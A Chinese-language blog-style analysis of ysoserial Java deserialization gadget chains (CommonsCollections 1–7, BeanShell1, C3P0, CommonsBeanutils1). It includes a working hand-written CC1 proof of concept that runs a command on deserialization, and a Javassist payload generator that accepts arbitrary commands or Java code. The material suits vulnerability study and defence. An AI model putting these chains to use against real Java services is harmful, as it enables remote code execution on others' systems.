ysoserial
0x01 储备
ysoserial基于不同的依赖提供了命令执行、URLDNS请求等。POC有依赖第三方Commons系列,不依赖第三方的JDK7U21等。
Gadget chain
在这里将Gadget chain分成两部分,一部分是代码执行链,一部分是反序列化触发链。其中有一些POC严格意义上来说并不是一个Gadget chain,例如URLDNS就是一个参数不可变的一次URLDNS请求。因此在研究URLDNS的时候,主要是研究它的反序列化触发链。
代码执行链
阅读ysoserial-0.0.6源码后发现主要有两种任意代码执行方式:
- Transformers-Objects
利用可控的反射机制,构造出任意类任意函数的调用。 - Javassist+defineClass
利用可控的defineClass函数的byte数组(payload)+Javassist在静态块中插桩。
Transformers-Objects
几个常利用的transformer类:
- Transformer
一个接口,只有一个待实现的方法。 - ConstantTransformer
实现了Transformer接口的一个类,作用是构造函数时传入一个对象并在执行回调的时候将这个对象返回。
- InvokerTransformer
实现了Transformer接口的一个类,需要的参数有三个:iMethodName(方法名),iParamTypes(参数类型),iArgs(参数),作用是执行任意方法,也是反序列化能执行任意代码的关键。
- InstantiateTransformer
实现了Transformer接口的一个类,作用是获取传入的类的构造函数。
- ChainedTransformer
实现了Transformer接口的一个类,作用是将多个Transformer构建成一个链。
Javassist+defineClass
在这里主要分析ysoserial中的Gadgets.java:
反序列化触发链
- 如果是通过Transformers-Objects实现代码执行的再要想触发代码执行链,就得找到调用
transform()的地方。排除掉xxxTransformer类,最有可能被利用的LazyMap.get和TransformerMap.checkSetVaule。再往源头走,Jdk8u76以前可以利用的有AnnotationInvocationHandler,在这之后的JDK8高版本ysoserial中用到的有比如BadAttributeValueExpException等等。 - 如果是通过Javassist+defineClass实现代码执行的想要触发defineClass,就得找到能够对接收的恶意class做实例化操作的类。ysoserial用到了
TrAXFilter等等相同效果的类。具体的在具体POC会讲到。
0x02 POC in ysoserial
CommonsCollections
CC1
条件:
- CommonsCollections-3.1
- JDK≤7
首先看一下ysoserial给出的CC1的gadget:
ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()
从上面可以看到从ChianedTransformer.transform()开始后面就是实现任意类任意函数执行的代码执行链了,因为要让代码执行链触发必定要找到所依赖的库中某些特定的类及特定的方法,而这些方法构成的链姑且称之为反序列化触发链。
CC1反序列化触发链
逆着看,首先需要触发transform以达到执行写好的反射执行链,cc1中用到的是LazyMap.get,在这里将transformerChain包装LazyMap,即可利用LazyMap.get中的transform执行反射执行链(其实也可以用transformedMap.checkValue)。
到寻找get的触发点了,cc1中用到的是AnnotationInvocationHandler.invoke,假如在此处将memberValues设置为构造好的LazyMap实例,就会触发该利用链的执行。相关代码:
public Object invoke(Object proxy, Method method, Object[] args) {String member = method.getName();// ...switch(member) {case "toString":return toStringImpl();case "hashCode":return hashCodeImpl();case "annotationType":return type;}// Handle annotation member accessorsObject result = memberValues.get(member);// ...}
要想调用Invoke函数,Java作为一门静态语言要想劫持一个对象的内部方法调用,需要用到动态代理机制,在该机制下被代理的实例无论调用什么方法都会首先调用Invoke函数。java.reflect.Proxy:
Map proxyMap = (Map) Proxy.newProxyInstance(Map.calss.getClassLoader(), new Class[] {Map.class}, handler);
那么用Proxy动态代理AnnotionInvocationHandler,并且将memberValues设置为LazyMap。那么在readObject的时候,只要调用任意方法就会进入到AnnotionInvocationHandler#invoke方法中从而触发LazyMap.get。
总结一下就是就是:
AnnotationInvocationHandler.readObject()->memberValues.entrySet()->AnnotationInvocationHandler.invoke()->memberVaules.get() => LazyMap.get()->factory.transform() => ChainedTransformer.transform()->iTransformers[].transform()//eg:java.lang.Runtime.getRuntime().exec($args);
CC1代码执行链
通过InvokerTransformer能够调用任意函数任意方法,再通过一个ChainedTransformer多次调用transform。
代码执行链的具体实现:
Transformer[] transformers = new Transformer[]{//获取Runtime对象new ConstantTransformer(Runtime.class),//获取Runtime.getRuntime()对象new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),//反射调用invoke,再invoke执行Runtime.getRuntime()方法,获取Runtime实例化对象new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),//反射调用exec执行命令new InvokerTransformer("exec",new Class[]{String.class},new String[]{"notepad"})};Transformer transformerChain = new ChainedTransformer(transformers);
其实就相当于:
//win下 notepad指c:/windwos/system32/notepad.exe//ConstantTransformer#1Object obj = Runtime.class;Class cls = obj.getClass();//InvokerTransformer#1Method method;method = cls.getMethod("getMethod",new Class[] {String.class, Class[].class });obj = method.invoke(obj, new Object[] {"getRuntime", new Class[0] });//InvokerTransformer#2cls = obj.getClass();method = cls.getMethod("invoke",new Class[] {Object.class, Object[].class });obj = method.invoke(obj, new Object[] {null, new Object[0] });//InvokerTransformer#3cls = obj.getClass();method = cls.getMethod("exec",new Class[] { String.class });method.invoke(obj, new String[] { "notepad" });
手写POC:
package ysoserial.payloads;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class MyCustom {public static void main(String[] args) throws Exception{Transformer[] transformers = new Transformer[]{/*new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"notepad"}),*///反射执行,不直接获取java.lang.Runtime对象,此对象无法序列化。new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new String[]{"notepad"}),new ConstantTransformer("hello world!")//用来掩饰日志报错};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();//innerMap.put("value","xxxx");//Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);//改为LazyMapMap outerMap = LazyMap.decorate(innerMap,transformerChain);//outerMap.put("test","xxx");//向Map中插入一个新map来触发回调。Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);construct.setAccessible(true);InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class,outerMap);Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);//real序列化的对象,被反序列化的时候通过gadget最终执行命令执行。handler = (InvocationHandler) construct.newInstance(Retention.class,proxymap);//Object obj = construct.newInstance(Retention.class,outerMap);ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(handler);oos.close();System.out.println(baos);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));Object o = (Object) ois.readObject();}}
效果:
CC2
条件:
- CommonsCollections4-4.0
- JDK≤8
gadget of CC2:
ObjectInputStream.readObject()PriorityQueue.readObject()PriorityQueue.heapify()PriorityQueue.siftDown()PriorityQueue.siftDownUsingComparator()TransformingComparator.compare()InvokerTransformer.transform()TemplatesImpl.newTransformer()(通过javassist生成的payload的byte形式)RCE->exec("payload")payload的生成在Gadgets.createTemplatesImpl中用Javassist实现
CC2和CC4是基于CommonsCollections4-4.0的,并没有像3.2.1版本那样直接将Transformer拉入黑名单,因此改一改还是可以用的。
而此依赖下的代码执行链都是用的Gadgets.java中的createTemplatesImpl返回的TemplatesImpl作为代码执行的调用。反序列化触发链也是用的新类PriorityQueue的Comparator来触发transform函数的。
CC2反序列化触发链
从代码执行链逆着看:
从Gadgets.createTampletsImpl返回的tampletsImpl先用InvokerTransformer进行一个toString的填充将其变成一个transformer对象(避免POC执行两次),后面再newTranformer一次。
要想触发transform(),这里使用的是一个TransformingComparator.compare()方法
而触发compare()用到了PriorityQueue.siftDownUsingComparator(),那么就要将transformer构造到一个PriorityQueue队列中去。PriorityQueue是一个有优先级的队列,第一个参数为队列大小,这里设置容量大于1即可。第二个参数为使用的Compare比较器。

而PriorityQueue在readObject()的时候会自动调用这个函数。经过测试,序列化的queue是能触发代码执行的。
CC2代码执行链
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )throws Exception {final T templates = tplClass.newInstance();//实例化// use template gadget class//单例化ClassPool pool = ClassPool.getDefault();//StubTransletPayload是作者写的继承自AbstractTranslate的一个添加了Serializable接口的类,也就是我们要插入payload的类。pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));pool.insertClassPath(new ClassClassPath(abstTranslet));//取出要操作的类final CtClass clazz = pool.get(StubTransletPayload.class.getName());// run command in static initializer// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections// ysoserial作者在这里留的话,可以改造以达到命令执行->代码执行,用来突破一些命令被BAN的现象。String cmd = "";//自定义代码块if(command.startsWith("code:")){System.err.println("Java代码为:"+command.substring(5));cmd = command.substring(5);//代码文件}else if(command.startsWith("codefile:")){String codefile = command.substring(9);try{File file = new File(codefile);if(file.exists()){FileReader reader = new FileReader(file);BufferedReader br = new BufferedReader(reader);StringBuffer sb = new StringBuffer("");String line= "";while((line = br.readLine()) != null){sb.append(line);sb.append("\r\n");}cmd = sb.toString();System.err.printf("java文件中的代码为:%s\n",cmd);}else{System.err.printf("%s不存在!",codefile);System.exit(0);}}catch (IOException e){e.printStackTrace();}//命令执行}else{cmd = "java.lang.Runtime.getRuntime().exec(\"" +command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +"\");";}//插入payloadclazz.makeClassInitializer().insertAfter(cmd);// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)clazz.setName("ysoserial.Pwner" + System.nanoTime());//时间保证不一致CtClass superC = pool.get(abstTranslet.getName());//继承AbstractTranslate,因为后面要用到这个类来defineClassclazz.setSuperclass(superC);//转字节码final byte[] classBytes = clazz.toBytecode();// inject class bytes into instance//插入实例Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)});// required to make TemplatesImpl happy// _name和_tfactory后面被ImReflections.setFieldValue(templates, "_name", "Pwnr");Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());return templates;}
CC3
条件:
- CommonsCollections-3.1
- JDK≤7
gadget of CC3:
ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InstantiateTransformer.transform()(TrAXFilter)Constructor.newInstance()TemplatesImpl.newTransformer()(通过javassist生成的payload的byte形式)RCE->exec("payload")payload的生成在Gadgets.createTemplatesImpl中用Javassist实现
CC3反序列化触发链
这个的反序列化触发部分和CC1是一样的。
不同的地方在将InvokerTransformer换成了InstantiateTransformer,且后面也用到了不同的类,当继承自AbstractTranslate的类被Javassist插桩后返回一个被修改过的templates(_bytecodes)并将其传给InstantiateTransformer后,InstantiateTransformer利用这个templates获得的构造函数加上从ConstantTransformer返回的TrAXFilter类将其实例化,实例化的过程中将会调用TrAXFilter的构造函数,从而调用TemplatesImpl.newTransformer()。(TrAXFilter).Constructor.newInstance()->TemplatesImpl.newTransformer():



CC3代码执行链
基于Javassist的恶意代码构造在CC2代码执行链中的注释中解释了。
CC4
条件:
- CommonsCollections4-4.0
- JDK≤8
gadget of CC4:
ObjectInputStream.readObject()PriorityQueue.readObject()PriorityQueue.heapify()PriorityQueue.siftDown()PriorityQueue.siftDownUsingComparator()TransformingComparator.compare()ChainedTransformer.transform()InstantiateTransformer.transform()(TrAXFilter)Constructor.newInstance()TemplatesImpl.newTransformer()RCE->exec("payload")//payload的生成在Gadgets.createTemplatesImpl中用Javassist实现
可以明显看出来,只是在InvokerTransformer换成了InstantiateTransformer,且后续的操作和CC3是一样的。通过触发TrAXFilter的初始化达到调用TemplatesImpl.newTransformer()的效果。
CC4反序列化触发链
前半段和CC2一样,只是templatesImpl并没有使用InvokerTransformer来操作,而是使用了和CC3一样的InstantiateTransformer+TrAXFilter来触发templatesImpl的实例化。
CC4代码执行链
同CC2
CC5
条件:
- CommonsCollections-3.1
- JDK≤8
- JVM不启用
SecurityManager
gadget:
ObjectInputStream.readObject()BadAttributeValueExpException.readObject()TiedMapEntry.getValueLazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()
JDK8版本下是无法利用CC1和CC3,这是因为在JDK8版本对AnnotationInvocationHandler进行了修改:
其中CC1,CC3原来是将AnnotationInvocationHandler中的memberValues置为LazyMap,从而触发entrySet继而触发get,然而JDK8这一改动直接不让我们更改对象。memberVaules已经被限定死为LinkedHashMap,所以就需要找一个新的类能够代替AnnotationInvocationHandler。CC5中使用BadAttributeValueExpException来代替。
CC5反序列化触发链
老规矩反着来,一直到触发LazyMap.get()这里之前和CC1都是一样的。但是在函数的选择上选择了TiedMapEntry,看图:TiedMapEntry.getValue()->LazyMap.get()
TiedMapEntry.toString()->TiedMapEntry,getValue()
BadAttributeValueExpException.readObject()->TiedMapEntry.toString()
BadAttributeValueExpException可被序列化
CC5代码执行链
同CC1
CC6
- CommonsCollections-3.1
- JDK≤8
gadget of CC6:
ObjectInputStream.readObject()HashSet.readObject()HashMap.put(key)key.hashCodeTiedMapEntry.hashCodeTiedMapEntry.getValueLazyMap.get()factory.transform()ChainedTransformer.transform()Runtime.getRuntime().exec()
CC6中使用HashSet来代替AnnotationInvocationHandler。
CC6反序列化链
也是和CC5一样选择了TiedMapEntry,不过并不是通过TiedMapEntry.getValue()触发LazyMap.get(),而是通过TiedMapEntry.hashCode()触发的。
构造一个hashset实例,拿到该hashset的map属性(hashmap)。再接着拿hashmap的table属性,然后在table中存储节点属性,然后通过反射拿到节点数组,最后将节点TiedMapEntry放到该node节点的key中。

TiedMapEntry.hashCode()->LazyMap.get()
HashMap.put->TiedMapEntry.hashCode()
HashSet.readObject()->HashMap.put
总结一下就是:
- 实例化一个
HashSet实例 - 通过反射机制获取
HashSet的map类属性 - 通过反射机制获取
HashMap(map类属性)的table(Node)类属性 - 通过反射机制获取
Node的key类属性,并设置该值为构造好的TiedMapEntry实例
CC6代码执行链
同CC1
CC7
- CommonsCollections-3.1
- JDK≤8
gadget of CC7:
ObjectInputStream.readObject()Hashtable.readObject()Hashtable.reconstitutionPutLazyMap.equalsAbstractMapDecorator.equalsAbstractMap.equalsm.get()LazyMap.get()factory.transform()ChainedTransformer.transform()Runtime.getRuntime().exec()
不同于CC5和CC6,CC7并没有使用TiedMapEntry,而是使用的Hashtable,利用key的hash冲突来触发equals函数,该函数会调用LazyMap.get。
CC7反序列化触发链
String.hashCode的计算方法存在不同字符串相同hash的可能性,CC7就是利用这一点来制造哈希冲突。
构造两个HashMap再经过LazyMap的修饰后放进HashTable:lazyMap1放入<”yy”,1>,lazyMap2放入<”zZ”,1>,然后再放入hashtable。此时是正常的
因为这里hashtable放进第二个lazymap时,因为两个lazymap的hash相同,所以将把第一个lazymap的key值yy放到第二个lazymap中(首先lazymap.get(“yy”)尝试从第二个lazymap中拿),此时将导致lazymap2中新添加<”yy”,1>


在这里进行移除Lazymap2的yy键值对
因为之前构造payload的时候已经移除了第二个lazymap中yy->yy键值对,因此此时两个lazymap的空间大小一致都为1
并且此时传入了我们构造的payload,再触发transform。完成
CC7代码执行链
同CC1
其他POC
BeanShell1
BeanShell是一个小型嵌入式Java源代码解释器,具有对象脚本语言特性,能够动态地执行标准JAVA语法,并利用JavaScript和Perl中常见的松散类型、命令、闭包等通用脚本来对其进行拓展。BeanShell不仅仅可以通过运行其内部的脚本来处理Java应用程序,还可以在运行过程中动态执行Java代码。因为BeanShell是用java写的,运行在同一个JVM的应用程序,因此可以自由地引用对象脚本并返回结果。
而BeanShell都是通过创建一个Interpreter从而利用Interpreter.eval()来执行代码或脚本的。
gadget of BeanShell1:
ObjectInputStream.readObject()PriorityQueue.readObject()PriorityQueue.heapify()PriorityQueue.siftDown()PriorityQueue.SiftDownUsingComparator()comparator.compare()->Xthis.invocationHandlerHandler.invoke()invokeImpl()invokeMethod()bshMethod.invoe()Interpreter.eval()创建的函数compare(...,...){java.lang.ProcessBuilder(payload).start()...}
Bsh反序列化触发链
PriorityQueue.readObject()触发了自创建的Comparator.comre(),这部分在CC2中是相同的。创建一个Xthis实例并将Interpreter和其命名空间传进去,而由于Comparator被Xthis里的invovationHandler代理了,而前面我们知道被代理的函数被触发时会执行handler的invoke函数。而Xthis里的Handler里的invoke又会去执行invokeImpl,从而触发bshMethod.invoke,最后即执行beanShell中Interpreter创建的自定函数了。


Bsh代码执行链
用beanShell的Interpreter.invoke()创建任意代码执行,这是beanshell的特性。
C3P0
C3P0是一个开源的JDBC连接池,实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展
gadget of C3P0:
PoolBackedDataSourceBase.writeObject()Indirector.indirectForm()PoolBackedDataSourceBase.readObject()ReferenceIndirector.getObject()ReferenceableUtils.referenceToObject()Exploit.newInstance()内部是自定义的代码
C3P0反序列化触发链
首先创建了一个PoolBackedDataSource实例(反射获取会比直接构造大小要小),然后再将本地重写的PoolSource赋值给该类的connectionPoolDataSource成员方法,其中重写的PoolSource中有引用远程地址实例。
我们传过去的PoolSource是不支持序列化的,所以在PoolBackedDataSourceBase.writeObject()中会跳转到Indirector.indirectForm()返回带有我们写的远程调用地址实例的reference的可序列化的对象。接着再到readObjct(),从而跳转到ReferenceableUtils.referenceToObject()。在这里通过反射获取到远程地址上的类并实例化从而执行我们写的任意代码。




C3P0代码执行链
由于是远程地址的类加载,所以是直接写任意代码。不需要到反射链来达到任意代码执行。
Clojure
Clojure是运行在Java平台上的Lisp语言。
Clojure反序列化触发链
Clojure代码执行链
CommonsBeanutils1
CommonsBeanutils1反序列化触发链
ObjectInputStream.readObject()->PriorityQueue.readObject()->PriorityQueue.heapify()->BeanComparator.compare()->PropertyUtils.getProperty()->TemplatesImpl.getOutputProperties()->任意代码执行
CommonsBeanutils1代码执行链
继承AbstractTranslet的恶意类的静态代码块自动执行.
�

